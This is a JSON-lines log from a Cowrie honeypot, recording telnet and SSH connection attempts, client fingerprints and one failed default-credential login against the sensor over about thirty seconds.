{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":49706,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b052ba77aa","protocol":"telnet","message":"New connection: 185.207.250.135:49706 (159.203.135.109:23) [session: a7b052ba77aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:43.837531Z"}
{"eventid":"cowrie.session.closed","duration":30.747222661972046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:44.543322Z","src_ip":"114.23.51.89","session":"abf52a353edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":58980,"dst_ip":"159.203.135.109","dst_port":23,"session":"39f64c23c7ce","protocol":"telnet","message":"New connection: 114.23.51.89:58980 (159.203.135.109:23) [session: 39f64c23c7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:44.672621Z"}
{"eventid":"cowrie.session.closed","duration":31.166828393936157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:45.150182Z","src_ip":"185.207.250.135","session":"cc326af7fad1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49625587463379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:45.277360Z","src_ip":"114.23.51.89","session":"5e8d97d4513a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86215376853943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:47.187115Z","src_ip":"114.23.51.89","session":"f96f1654b9cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":54236,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7878d3a54bc","protocol":"telnet","message":"New connection: 185.207.250.135:54236 (159.203.135.109:23) [session: c7878d3a54bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:47.525416Z"}
{"eventid":"cowrie.session.closed","duration":36.65510392189026,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:47.762267Z","src_ip":"23.254.167.244","session":"38d1eeb27732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":51200,"dst_ip":"159.203.135.109","dst_port":23,"session":"f048520942e6","protocol":"telnet","message":"New connection: 209.159.146.115:51200 (159.203.135.109:23) [session: f048520942e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:48.542651Z"}
{"eventid":"cowrie.session.closed","duration":31.203044176101685,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:48.594732Z","src_ip":"185.207.250.135","session":"9330d2692aa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.824894428253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:48.909037Z","src_ip":"114.23.51.89","session":"5f1522ea3057","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39918,"dst_ip":"159.203.135.109","dst_port":23,"session":"1df4906e32e6","protocol":"telnet","message":"New connection: 114.23.51.89:39918 (159.203.135.109:23) [session: 1df4906e32e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:49.152916Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39920,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb422492352","protocol":"telnet","message":"New connection: 114.23.51.89:39920 (159.203.135.109:23) [session: dcb422492352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:49.275598Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55926,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e80b5123e1","protocol":"telnet","message":"New connection: 209.159.146.115:55926 (159.203.135.109:23) [session: 60e80b5123e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:49.625547Z"}
{"eventid":"cowrie.session.closed","duration":34.12117552757263,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:49.792554Z","src_ip":"23.254.167.244","session":"781a06fbaaff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04166841506958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:49.916909Z","src_ip":"114.23.51.89","session":"329b368be457","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187519550323486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:51.291534Z","src_ip":"185.207.250.135","session":"4a218d646ac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08613681793213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:51.564461Z","src_ip":"185.207.250.135","session":"ef75216f15ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39930,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97bb69a562f","protocol":"telnet","message":"New connection: 114.23.51.89:39930 (159.203.135.109:23) [session: f97bb69a562f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:51.836882Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34060,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e44e10dbc7a","protocol":"telnet","message":"New connection: 23.254.167.244:34060 (159.203.135.109:23) [session: 4e44e10dbc7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:52.207282Z"}
{"eventid":"cowrie.session.closed","duration":31.48852801322937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:52.875880Z","src_ip":"185.207.250.135","session":"ed9360a81641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.21420216560364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:53.448323Z","src_ip":"209.159.146.115","session":"f820ff524b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526578664779663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:54.144733Z","src_ip":"185.207.250.135","session":"07192ea57629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60664510726929,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:54.685147Z","src_ip":"23.254.167.244","session":"a08ac21b513b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10960817337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:55.796281Z","src_ip":"185.207.250.135","session":"3744ec78accc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.743939638137817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:56.126143Z","src_ip":"114.23.51.89","session":"6a00cc063b3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38856,"dst_ip":"159.203.135.109","dst_port":23,"session":"250e48d87d41","protocol":"telnet","message":"New connection: 23.254.167.244:38856 (159.203.135.109:23) [session: 250e48d87d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:56.164967Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39942,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae81d677815b","protocol":"telnet","message":"New connection: 114.23.51.89:39942 (159.203.135.109:23) [session: ae81d677815b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:57.546633Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57604,"dst_ip":"159.203.135.109","dst_port":23,"session":"b53979d7852f","protocol":"telnet","message":"New connection: 114.23.51.89:57604 (159.203.135.109:23) [session: b53979d7852f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:57.743180Z"}
{"eventid":"cowrie.session.closed","duration":30.85735559463501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:58.247272Z","src_ip":"114.23.51.89","session":"518aca1c226f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41350,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ae2a6a4aee","protocol":"telnet","message":"New connection: 23.254.167.244:41350 (159.203.135.109:23) [session: 97ae2a6a4aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:58.715110Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":39224,"dst_ip":"159.203.135.109","dst_port":23,"session":"9031410cc57e","protocol":"telnet","message":"New connection: 185.207.250.135:39224 (159.203.135.109:23) [session: 9031410cc57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.424053Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":38554,"dst_ip":"10.17.0.5","dst_port":22,"session":"3054031b9aab","protocol":"ssh","message":"New connection: 20.244.18.126:38554 (10.17.0.5:22) [session: 3054031b9aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.453143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.457329Z","src_ip":"20.244.18.126","session":"3054031b9aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.640509Z","src_ip":"20.244.18.126","session":"3054031b9aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57638,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ccc8948e20","protocol":"telnet","message":"New connection: 114.23.51.89:57638 (159.203.135.109:23) [session: b5ccc8948e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.740087Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57612,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef65dc6d9d65","protocol":"telnet","message":"New connection: 114.23.51.89:57612 (159.203.135.109:23) [session: ef65dc6d9d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.745776Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57640,"dst_ip":"159.203.135.109","dst_port":23,"session":"328eab17b7db","protocol":"telnet","message":"New connection: 114.23.51.89:57640 (159.203.135.109:23) [session: 328eab17b7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:19:59.903661Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57626,"dst_ip":"159.203.135.109","dst_port":23,"session":"2684fbf03e56","protocol":"telnet","message":"New connection: 114.23.51.89:57626 (159.203.135.109:23) [session: 2684fbf03e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:00.073820Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57654,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0b9d560ca7c","protocol":"telnet","message":"New connection: 114.23.51.89:57654 (159.203.135.109:23) [session: f0b9d560ca7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:00.283519Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftptest","message":"login attempt [ftpuser/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:00.405662Z","src_ip":"20.244.18.126","session":"3054031b9aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":40528,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bbe55957605","protocol":"telnet","message":"New connection: 185.207.250.135:40528 (159.203.135.109:23) [session: 1bbe55957605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:00.565106Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":40582,"dst_ip":"159.203.135.109","dst_port":23,"session":"e703d88fba7e","protocol":"telnet","message":"New connection: 185.207.250.135:40582 (159.203.135.109:23) [session: e703d88fba7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:00.643253Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57668,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c9528f9ec0e","protocol":"telnet","message":"New connection: 114.23.51.89:57668 (159.203.135.109:23) [session: 0c9528f9ec0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:01.287230Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57680,"dst_ip":"159.203.135.109","dst_port":23,"session":"05fa958b4435","protocol":"telnet","message":"New connection: 114.23.51.89:57680 (159.203.135.109:23) [session: 05fa958b4435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:01.291492Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:01.592958Z","src_ip":"20.244.18.126","session":"3054031b9aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57684,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d067b9a37e","protocol":"telnet","message":"New connection: 114.23.51.89:57684 (159.203.135.109:23) [session: 73d067b9a37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:01.893592Z"}
{"eventid":"cowrie.session.closed","duration":34.49334144592285,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:02.608322Z","src_ip":"23.254.167.244","session":"3d5d04071cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57692,"dst_ip":"159.203.135.109","dst_port":23,"session":"06cb7063ef6b","protocol":"telnet","message":"New connection: 114.23.51.89:57692 (159.203.135.109:23) [session: 06cb7063ef6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:03.737281Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57700,"dst_ip":"159.203.135.109","dst_port":23,"session":"abd092fc258e","protocol":"telnet","message":"New connection: 114.23.51.89:57700 (159.203.135.109:23) [session: abd092fc258e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:04.008860Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57706,"dst_ip":"159.203.135.109","dst_port":23,"session":"52adbbb232c9","protocol":"telnet","message":"New connection: 114.23.51.89:57706 (159.203.135.109:23) [session: 52adbbb232c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:04.400696Z"}
{"eventid":"cowrie.session.closed","duration":31.36780095100403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:05.556787Z","src_ip":"114.23.51.89","session":"92a95f46c146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57714,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d0d955857e2","protocol":"telnet","message":"New connection: 114.23.51.89:57714 (159.203.135.109:23) [session: 6d0d955857e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:05.617839Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57728,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6728db979b7","protocol":"telnet","message":"New connection: 114.23.51.89:57728 (159.203.135.109:23) [session: d6728db979b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:05.627958Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57734,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d7a0993f5f0","protocol":"telnet","message":"New connection: 114.23.51.89:57734 (159.203.135.109:23) [session: 4d7a0993f5f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:05.857008Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57702,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b3e33eae081","protocol":"telnet","message":"New connection: 114.23.51.89:57702 (159.203.135.109:23) [session: 2b3e33eae081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:06.118422Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":51754,"dst_ip":"159.203.135.109","dst_port":23,"session":"756ec03b51d4","protocol":"telnet","message":"New connection: 23.254.167.244:51754 (159.203.135.109:23) [session: 756ec03b51d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:06.354939Z"}
{"eventid":"cowrie.session.closed","duration":31.65436577796936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:06.860115Z","src_ip":"114.23.51.89","session":"13147d3bac34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57750,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a3a56fc98e7","protocol":"telnet","message":"New connection: 114.23.51.89:57750 (159.203.135.109:23) [session: 6a3a56fc98e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:06.891862Z"}
{"eventid":"cowrie.session.closed","duration":30.403301000595093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:07.359183Z","src_ip":"114.23.51.89","session":"218db7c4aecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51560,"dst_ip":"159.203.135.109","dst_port":23,"session":"899b5a7bd695","protocol":"telnet","message":"New connection: 114.23.51.89:51560 (159.203.135.109:23) [session: 899b5a7bd695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:08.012836Z"}
{"eventid":"cowrie.session.closed","duration":31.374871969223022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:08.415275Z","src_ip":"185.207.250.135","session":"f60c4a7a1fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51568,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba84b19572e6","protocol":"telnet","message":"New connection: 114.23.51.89:51568 (159.203.135.109:23) [session: ba84b19572e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:08.615974Z"}
{"eventid":"cowrie.session.closed","duration":34.30240559577942,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:09.219725Z","src_ip":"23.254.167.244","session":"630927ba3001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51578,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c3b06b9321e","protocol":"telnet","message":"New connection: 114.23.51.89:51578 (159.203.135.109:23) [session: 1c3b06b9321e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:09.346359Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":51588,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ab693ed6e4","protocol":"telnet","message":"New connection: 114.23.51.89:51588 (159.203.135.109:23) [session: d5ab693ed6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:09.353640Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57432,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a710d51c4f3","protocol":"ssh","message":"New connection: 176.65.139.103:57432 (10.17.0.5:22) [session: 3a710d51c4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:09.485428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:09.490837Z","src_ip":"176.65.139.103","session":"3a710d51c4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:20:09.574989Z","src_ip":"176.65.139.103","session":"3a710d51c4f3","protocol":"ssh"}
